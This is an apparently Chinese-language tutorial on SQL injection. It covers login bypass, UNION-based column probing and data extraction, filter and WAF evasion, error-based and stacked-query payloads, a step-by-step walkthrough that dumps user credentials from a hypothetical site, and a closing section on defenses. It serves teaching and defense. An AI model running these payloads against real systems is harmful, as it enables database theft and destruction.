SQL注入进阶:从万能密码到UNION联合查询的实战解析

发布时间:2026/8/18 6:31:58
SQL注入进阶:从万能密码到UNION联合查询的实战解析 1. 从“万能密码”到联合查询理解SQL注入的进阶之路很多刚接触Web安全测试的朋友最开始遇到的SQL注入案例往往是那个经典的“万能密码”登录绕过。比如在登录框的用户名输入admin --密码随便填原理是利用单引号闭合SQL语句再用注释符--注释掉后面的密码验证逻辑。这确实是一个直观的入门但它解决的往往是“身份验证绕过”这类特定场景。当我们面对一个查询数据、展示信息的页面时比如一个新闻详情页?id1我们想要的不再是绕过登录而是从数据库中“偷”出更多我们本无权查看的数据。这时UNION联合查询就从一个可选的技巧变成了一个必须掌握的核心武器。它就像一把钥匙能帮你打开那扇通往数据库深处的大门而UNION SELECT 1,2,3...则是制作这把钥匙前必不可少的“探针”和“模具”。简单来说UNION操作符用于合并两个或多个SELECT语句的结果集。前提是每个SELECT语句必须拥有相同数量的列且列的数据类型也需要兼容。在SQL注入的语境下我们的目标就是将我们恶意构造的SELECT语句通过UNION拼接到应用程序原本的查询语句之后让数据库一并执行并将结果返回到页面上。而UNION SELECT 1,2,3这一串看似简单的数字其核心任务有三个第一探测原查询到底有多少个列第二定位这些列的结果会显示在页面的哪个位置即“回显点”第三为后续真正的数据窃取铺平道路。这个过程充满了与Web应用程序和数据库的“对话”与“试探”也是SQL注入从入门到精通的关键分水岭。2. 联合查询的底层逻辑为什么是“UNION”而不是“AND”在深入实操之前我们必须先厘清一个根本问题为什么在获取数据时我们更倾向于使用UNION而不是简单的AND条件注入理解这一点能让你在遇到不同场景时做出正确判断。假设一个新闻查询的原始SQL语句是SELECT title, content, author FROM articles WHERE id $_GET[‘id’]当我们传入?id1时它返回ID为1的文章标题、内容和作者。方式一基于AND的布尔盲注或时间盲注如果我们构造?id1 AND (SELECT SUBSTRING(database(),1,1)) ‘a‘。这条语句的意图是如果数据库名的第一个字母是‘a’则返回id1的文章如果不是则因为AND条件为假不返回任何文章或返回一个与正常页面不同的错误/空白页面。这种方式下我们无法直接看到查询结果只能通过页面反应的“真”正常页面或“假”错误/空白页面来一位一位地“猜”数据。这就是布尔盲注效率极低。如果连真假都无法从页面直接判断我们可能还需要用SLEEP()函数通过页面响应时间的长短来推断这就是时间盲注效率更低。方式二基于UNION的联合查询注入我们构造?id-1 UNION SELECT database(), user(), version()。这里我们先让原查询失效id-1通常没有这篇文章然后通过UNION拼接上我们自己的查询。当这条语句执行时数据库会先执行SELECT title, content, author FROM articles WHERE id -1结果为空集再执行UNION后面的SELECT database(), user(), version()最后将两个结果集合并。因为前一个结果集为空所以最终页面显示的就是我们注入的查询结果数据库名、当前用户、数据库版本。数据直接、完整地回显在了页面上。两者的本质区别在于AND注入是在原查询的“WHERE”条件里做文章试图改变查询的“范围”或“是否成立”而UNION注入是在“SELECT”查询列表里做文章直接追加一个全新的查询语句并利用其结果。当页面有明确的数据回显点时UNION注入的效率是碾压性的。因此UNION SELECT 1,2,3的首要目标就是确认当前注入点是否支持这种高效的数据回显方式并为其做好准备。注意使用UNION时通常需要让原查询结果为空例如使id-1或id99999这样页面就只会显示我们UNION注入的查询结果避免原数据干扰我们查看注入结果。这是一个非常实用的小技巧。3. 核心探针详解“UNION SELECT 1,2,3,…”的每一步现在让我们把镜头拉近一步步拆解UNION SELECT 1,2,3这个经典探针动作背后的每一个环节。这个过程就像外科手术前的精密检查。3.1 第一步确定原始查询的列数这是所有UNION注入的绝对前提。UNION要求前后SELECT的列数必须一致。我们不知道原查询是SELECT title, content两列还是SELECT id, title, content, time四列。猜错了数据库就会报错“The used SELECT statements have a different number of columns”。方法一ORDER BY排序法推荐ORDER BY子句用于根据指定的列索引对结果集进行排序。这里的“列索引”指的是查询结果中第几列从1开始计数。如果指定的索引号超出了实际列数数据库就会报错。我们利用这个特性来探测。输入?id1 ORDER BY 1-- 页面正常说明至少有1列。输入?id1 ORDER BY 2-- 页面正常说明至少有2列。输入?id1 ORDER BY 3-- 页面正常说明至少有3列。输入?id1 ORDER BY 4-- 页面返回错误或与正常页面明显不同。 结论原查询的列数为3。因为ORDER BY 3成功而ORDER BY 4失败。这个方法非常可靠是实战中的首选。方法二UNION SELECT NULL递增法NULL在大多数数据库中可以匹配任何数据类型用它来构造SELECT列表可以避免数据类型冲突导致的错误。我们通过不断增加NULL的数量来试探。输入?id-1 UNION SELECT NULL-- 如果报错说明列数不是1。输入?id-1 UNION SELECT NULL,NULL-- 如果报错说明列数不是2。输入?id-1 UNION SELECT NULL,NULL,NULL-- 页面正常显示可能是空白或部分内容。 结论当页面不再报错时NULL的数量就是原查询的列数。此方法在ORDER BY被过滤时可以作为备选。3.2 第二步定位数据回显点知道有3列后我们构造?id-1 UNION SELECT 1,2,3。这里的数字1,2,3有两个作用第一满足UNION对列数的要求第二更重要的是它们充当“标记物”。如果注入成功这些数字中的某一个或某几个会出现在最终渲染的网页页面上替换了原本某个字段的位置。如何观察提交上述Payload后仔细查看页面。不要只看明显的大段文字要查看页面源码关注文章的标题位置。文章的作者/时间等次要信息位置。甚至页脚的版权信息、不起眼的描述文本。有时数据可能隐藏在HTML注释、input标签的value值或者JavaScript变量中。假设我们发现页面原本显示文章标题的地方现在显示的是数字2原本显示作者的地方现在显示的是数字3。那么我们就得到了关键信息原查询结果的第一列对应我们的‘1’可能未被直接输出第二列对应‘2’是标题位第三列对应‘3’是作者位。这两个位置就是我们可以用来“显示”任意查询结果的“回显点”。3.3 第三步验证数据库信息与构造最终查询回显点找到后我们就可以把占位数字替换成我们想要查询的数据库函数或语句了。例如我们想获取当前数据库名、用户和版本替换第二个回显点标题位?id-1 UNION SELECT 1, database(), 3同时获取更多信息?id-1 UNION SELECT 1, concat(database(), ‘ | ‘, user()), version()这里concat()函数用于将多个字符串连接起来在回显点有限时非常有用。如果执行成功我们就能在网页的标题位置看到数据库名和用户的组合信息在作者位置看到数据库版本号。至此UNION SELECT 1,2,3的使命圆满完成。它就像侦察兵摸清了敌方的火力点列数和突破口回显点后续的大部队查表名、列名、数据的Payload就可以长驱直入了。4. 实战中的复杂情况与高级绕过技巧真实的战场远比靶场复杂。应用程序可能部署了WAFWeb应用防火墙或者代码本身对输入进行了各种过滤处理。直接使用UNION SELECT 1,2,3可能会被拦截。这时就需要一些“花式”操作。4.1 常见过滤与绕过手段空格被过滤UNION SELECT中的空格是常见过滤目标。绕过方法使用注释符/**/代替空格。?id-1/**/UNION/**/SELECT/**/1,2,3也可以使用括号、换行符(%0a)、制表符(%09)等。UNION或SELECT关键字被过滤大小写绕过UnIoN SeLeCt。有些简单的过滤只匹配全小写。双写绕过如果过滤是删除一次关键字UUNIONNION SSELELECTECT在被删除中间的UNION和SELECT后剩下的部分正好拼成UNION SELECT。内联注释绕过MySQL/*!UNION*/ /*!SELECT*/ 1,2,3。/*!...*/在MySQL中会被执行。数字被过滤如1,2,3可以使用true,false布尔值或者字符的十六进制编码。例如SELECT null,0x61,0x62其中0x61和0x62分别是字母 ‘a’ 和 ‘b’ 的十六进制。单引号被过滤对于字符串使用十六进制编码。SELECT * FROM users WHERE username0x61646D696Eadmin的十六进制。使用CHAR()函数拼接。SELECT CHAR(97,100,109,105,110)得到 ‘admin’。4.2 无显注与堆叠查询当UNION失效时不是所有SQL注入点都“赏脸”给你直接回显数据。除了前面提到的盲注还有两种情况报错注入如果页面不显示查询数据但会将数据库的错误信息打印出来这在开发调试模式中很常见我们就可以利用。通过故意构造错误的SQL语句让错误信息中包含我们想要的数据。经典PayloadMySQL?id1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)原理updatexml()函数第二个参数需要是合法的XPATH路径我们传入一个包含~0x7e和我们查询结果的非法字符串函数执行报错并将整个字符串作为错误信息的一部分返回从而带出了数据。UNION在这里不直接使用但思路是相通的——利用数据库的特性“曲线救国”。堆叠查询有些数据库驱动支持执行多条以分号分隔的SQL语句。如果存在此漏洞攻击者的破坏力将大大增强。?id1; DROP TABLE users; --这已经完全超出了数据窃取的范畴可以进行数据删除、篡改等操作。但堆叠查询的支持情况取决于数据库和连接方式如PHPMySQL的mysqli_multi_query可能支持而mysql_query通常不支持。UNION是查询而堆叠查询可以是任何SQL语句。5. 从信息收集到数据窃取完整的UNION注入流程演练让我们以一个假设的、存在联合查询注入漏洞的站点为例串联起整个攻击链条。目标获取users表中的管理员账号和密码哈希。第1步探测与确认注入点访问http://target.com/news.php?id1显示正常新闻。 尝试id1‘页面出现数据库语法错误确认存在字符型注入。 尝试id1‘ AND ‘1‘‘1正常id1‘ AND ‘1‘‘2异常确认可进行布尔判断。第2步确定字段数id1‘ ORDER BY 5--错误。id1‘ ORDER BY 4--错误。id1‘ ORDER BY 3--正常。 原查询字段数为3。第3步探测回显点id-1‘ UNION SELECT 1,2,3--观察页面发现页面副标题处显示数字2页面底部版权信息旁显示数字3。确定回显点为第2和第3列。第4步获取数据库基本信息id-1‘ UNION SELECT 1, database(), user()--在副标题处看到数据库名myapp_db在底部看到当前用户myapp_userlocalhost。第5步查询数据库中的表名在MySQL中表信息存储在information_schema.tables中。id-1‘ UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1--逐个修改LIMIT的偏移量0,1-1,1-2,1遍历出所有表名。假设发现users,articles,config等表。我们的目标是users。第6步查询目标表的列名表结构信息存储在information_schema.columns中。id-1‘ UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schemadatabase() AND table_name‘users‘ LIMIT 0,1--同样通过修改LIMIT偏移遍历出users表的列id,username,password,email。第7步提取最终数据id-1‘ UNION SELECT 1, concat(username, ‘:‘, password), email FROM users LIMIT 0,1--在副标题处我们得到了第一条用户记录格式为admin:5f4dcc3b5aa765d61d8327deb882cf99假设是MD5哈希。重复此步骤或修改LIMIT获取所有用户数据。至此一次完整的、基于UNION联合查询的SQL注入攻击就完成了。从最初的UNION SELECT 1,2,3探针开始到最终拿到敏感数据每一步都环环相扣。6. 防御视角开发者如何避免联合查询注入作为开发者理解攻击原理是为了更好地防御。所有SQL注入的根源都是“将用户输入的数据当成了代码SQL语句的一部分来执行”。因此防御的核心原则就是严格区分代码与数据。1. 使用参数化查询预编译语句这是最有效、最根本的防御手段。它的原理是将SQL语句的结构代码和传入的值数据分开发送数据库处理。错误做法拼接字符串$sql “SELECT * FROM articles WHERE id “ . $_GET[‘id’]; // 直接拼接危险正确做法参数化查询$stmt $pdo-prepare(“SELECT * FROM articles WHERE id :id”); // 先准备带占位符的语句结构 $stmt-execute([‘id’ $_GET[‘id’]]); // 再将数据以参数形式传入即使用户传入id -1 UNION SELECT 1,2,3数据库也会将其整体视为一个字符串值去查询id字段等于这个字符串的记录而不会将其解析为SQL指令。UNION等关键字在这里完全失效。2. 使用安全的ORM框架现代Web开发框架如Laravel的Eloquent、ThinkPHP的模型、Ruoyi的MyBatis-Plus等的ORM对象关系映射组件通常内部已经实现了参数化查询。使用它们提供的方法进行数据库操作能大幅降低SQL注入风险。例如在ThinkPHP中应使用Db::name(‘articles’)-where(‘id’, input(‘id’))-find();而不是手动拼接where条件字符串。3. 严格的输入验证与过滤虽然不能作为主要防御手段但作为辅助措施是必要的。类型强制转换对于id这类明确是数字的参数在代码中强制转为整型。$id (int)$_GET[‘id’];白名单过滤对于有固定范围的输入如排序字段order只能是 ‘create_time’ 或 ‘view_count’使用白名单验证只允许指定的值通过。谨慎使用转义如mysqli_real_escape_string()函数它只能用于字符串值外的引号转义且依赖数据库字符集。它无法防御数字型注入且在复杂语句中容易出错不应作为首选方案。4. 最小权限原则给Web应用使用的数据库账户分配最小必要权限。比如一个只用于新闻展示的查询账户只授予SELECT权限不要授予DROP、UPDATE、DELETE甚至FILE权限。这样即使发生注入攻击者也无法对数据进行破坏性操作。从攻击中学习防御UNION SELECT 1,2,3这串简单的数字不仅揭示了漏洞利用的路径也时刻提醒着每一位开发者对待用户输入必须保持最大的警惕和最严谨的处理。安全是一个过程而非一个功能它贯穿于代码编写的每一行、每一次逻辑判断之中。